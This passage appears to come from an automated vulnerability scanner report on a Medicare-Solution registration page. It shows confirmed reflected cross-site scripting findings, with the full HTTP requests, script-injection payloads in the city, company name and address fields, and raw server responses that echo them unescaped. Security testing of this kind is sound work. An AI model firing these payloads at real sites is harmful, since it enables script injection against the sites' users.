if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x0004EB)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET '"--></style></script><script>netsparker(0x000501)</script>
state GET 3
zip GET 3
demouserid GET 3
city POST '"--></style></script><script>alert(0x000501)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000501%29%3C%2Fscript%3E&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000sZxOREe6kvjjzHNX78oqHFM:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:59 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x000501)</script>" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET '"--></style></script><script>netsparker(0x0005C8)</script>
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
companyname POST '"--></style></script><script>alert(0x0005C8)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x0005C8%29%3C%2Fscript%3E&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000YGOyWZxvITIZIzfg9fZe2NX:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000QxLKz32E-6xmGjDPZJHpvrw:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x0005C8)</script>" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
